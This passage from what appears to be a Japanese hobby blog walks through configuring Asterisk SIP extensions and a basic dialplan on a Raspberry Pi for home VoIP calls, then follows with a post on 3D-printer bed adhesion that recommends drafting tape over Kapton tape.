[02]
type=friend
username=02
secret=pass
canreinvite=no
host=dynamic

[03]
type=friend
username=03
secret=pass
canreinvite=no
host=dynamic

内線番号 01-03 を設定しています。

type=friend
user -> 発信専用
peer -> 着信専用
friend -> 発着信

username
SIPクライアントがSIPサーバに接続する際に使用するユーザ名です。別になんでもいいと思いますが、番号にしておきます。

secret=pass
SIPクライアントがSIPサーバに接続する際に使用するパスワードです。

canreinvite
Asteriskが音声ストリーム(RTPパケット)を中継するかどうかを指定します。

host
内線番号に対するIPアドレス(ホスト名)を指定します。我が家の無線LANはDHCP割り当てになっているので、dynamicにしました。

ということで、sip.conf は以下のようになります。

[general]
context=default
port=5060
binaddr=0.0.0.0
disallow=all
allow=ulaw
allow=alaw
allow=gsm

[01]
type=friend
username=01
secret=pass
canreinvite=no
host=dynamic

[02]
type=friend
username=02
secret=pass
canreinvite=no
host=dynamic

[03]
type=friend
username=03
secret=pass
canreinvite=no
host=dynamic

extension.confの設定

extensions.conf では発着信時の動作を定義します。この発着信時の動作はダイヤルプランと呼ばれています。

general セクションの設定

[general]
static=yes
writeprotect=no
clearglobalvars=no

static=yes
writeprotect=no
この設定をしておくと、コマンドラインインタフェースから”dialplan save”コマンドを実行した場合に、ダイアルプランの上書き保存ができるようです。インストール時のデフォルトで明示的に設定されていますので、そのまま残しておくことにします。

clearglobalvars=no
yesにしておくと、asteriskまたはextensionをreloadした際に、グローバル変数がクリアされ、元の値に戻ってしまうようです。インストール時のデフォルトで明示的に設定されていますので、そのまま残しておくことにします。

globals セクションの設定

[globals]
CONSOLE=Console/dsp
IAXINFO=guest
TRUNK=DAHDI/G2
TRUNKMSD=1

グローバル変数の設定みたいです。ここも基本的にはインストール時のデフォルトで設定されているものをそのまま残しています。設定値の意味などは後で調べます。

コンテキストの設定

[default]
exten => 01,1,Dial(SIP/01,60)
exten => 01,2,Congestion

exten => 02,1,Dial(SIP/02,60)
exten => 02,2,Congestion

exten => 03,1,Dial(SIP/03,60)
exten => 03,2,Congestion

sip.conf で context= に設定した値と紐付いています。実際の発着信時の制御はここに記述します。
ワイルドカードなども使えますが、それぞれの内線番号に対して、動作を定義しました。
exten => 番号, プライオリティ, 動作
という記述方法になっています。

この設定では、着信があった場合まずプライオリティ値1の動作をします。

exten => 03,1,Dial(SIP/03,60)
SIP端末(ここでは内線番号03)を60秒間鳴らします。もしこの間に電話を取った場合は、そのまま通話が可能になります。
60秒経過後、誰も電話をとらない場合は、プライオリティ値2の動作に移ります。

exten => 03,2,Congestion
Congestion は発信側が切るのを待ちます。発信側が切るまでは、切断音が流れます。

Busy とか Voicemail とか、色々できるようなので、少しづつ設定増やしていく予定です。

ここまでの設定をまとめると、extensions.confはこんな感じになります。

[general]
static=yes
writeprotect=no
clearglobalvars=no

[globals]
CONSOLE=Console/dsp
IAXINFO=guest
TRUNK=DAHDI/G2
TRUNKMSD=1

[default]
exten => 01,1,Dial(SIP/01,60)
exten => 01,2,Congestion

exten => 02,1,Dial(SIP/02,60)
exten => 02,2,Congestion

exten => 03,1,Dial(SIP/01,60)
exten => 03,2,Congestion

ここまでで、ネットワーク内のPCにSIPクライアントをインストールするなどすればPC同士で音声通話ができるようになるはずです。

$asterisk -vvvr

で Asterisk のCLIに入れます。v オプションで verbosity を制御します。
つまりオプションに v を重ねるとデバッグログがたくさん出るようになります。

とりあえず SIP クライアントが接続できることを確認するには v 3つです。

CLIに入ったらまず設定を反映させるため、reload コマンドを発行します。
sip show users コマンドで、ユーザ名 01~03 が表示されたのでとりあえずOK。

Username                   Secret           Accountcode      Def.Context      ACL  ForcerPort
01                         pass                              default          No   Yes
03                         pass                              default          No   Yes
02                         pass                              default          No   Yes

SIPクライアントを登録すると、
-- Registered SIP '01' at 192.168.xxx.xxx:5060
みたいなログが出力されます。

ちなみに、このRasPiは内向きDNSのほかに、外から乗り込んできて各種PCにマジックパケットを投げてWOLで起動させたりとか、トラフィックの計測とか、色々役目があったので別セグメントにいたのですが、セグメントが違うとSIPサーバーにレジストできなかったので、とりあえず同じセグメントに移設しました。

とはいえ、色々弊害が出てしまうので別セグメントからでもSIPサーバーに登録できるようにごにょごにょしてみる予定です。

つーか色々やらせすぎなので、cuBoxかBeagleBoneかRasPi買い足してもいいかもですね。

※NetattestとかInfobloxも触ってみたいのですが

カプトンテープなんていらなかった件

久々に3Dプリンタの話。
ここまでのあらすじ的なアレ
いろいろ試行錯誤してまして。

とりあえずラピッドプロトタイピングという意味では十分実用レベルの出力をしてくれてるのですが、ファーストレイヤの固着が難しく、うまく固着したと思っても完成間近で剥離して残念な結果になることが多く、ベッドにうまく固着する方法を探していました。

カプトンテープ

カプトンテープまたはポリイミドフィルムなどと呼ばれるものをベッドに貼り付けると固着しやすいというのが3Dプリンタ界の常識?なわけですが、PLAはABSほどカプトンテープには食いつきません。
また、数回使用すると食いつきが悪くなるので定期的な交換が必要になります。
しかし、ロール3,000円とかする高価なテープをホイホイ使えないわけですよ。(貧乏性)

スティックのり

そこで、巷で噂のスティックのりを使ってみることにしました。
どういう理屈なのかまったくわかりませんが、がっちり固着するわけです。
ところが今度は剥がせなくなりました。
もう壊れるくらいひっぱたりマイナスドライバーでこじったり、炙ったヘラでゴリゴリやってようやく剥がせるレベルで固着します。

まったく使えない。

基板テープ

液体のりとか、マスキングテープとか、両面テープとか、色々試してみましたがいまいちうまくいかない。
紙っぽいマスキングテープが一番いい感じでした。

そこで、以前の職場で使っていた通称「基板テープ」というものをふと思い出しました。
・なんか黄色っぽかったこと
・たぶん3Mなこと
というあいまいな情報を頼りに探し回りました。
そこで見つけたのがこれ。

ドラフティングテープ

ドラフティングテープ、だそうです。
これは、かなりいい感じです。安いですし。

表面がザラザラのシボ加工なのでカプトンテープのように表面つるつるにはなりませんが、
強すぎず弱すぎずでベッドに固着してくれてます。

結論:カプトンテープいらない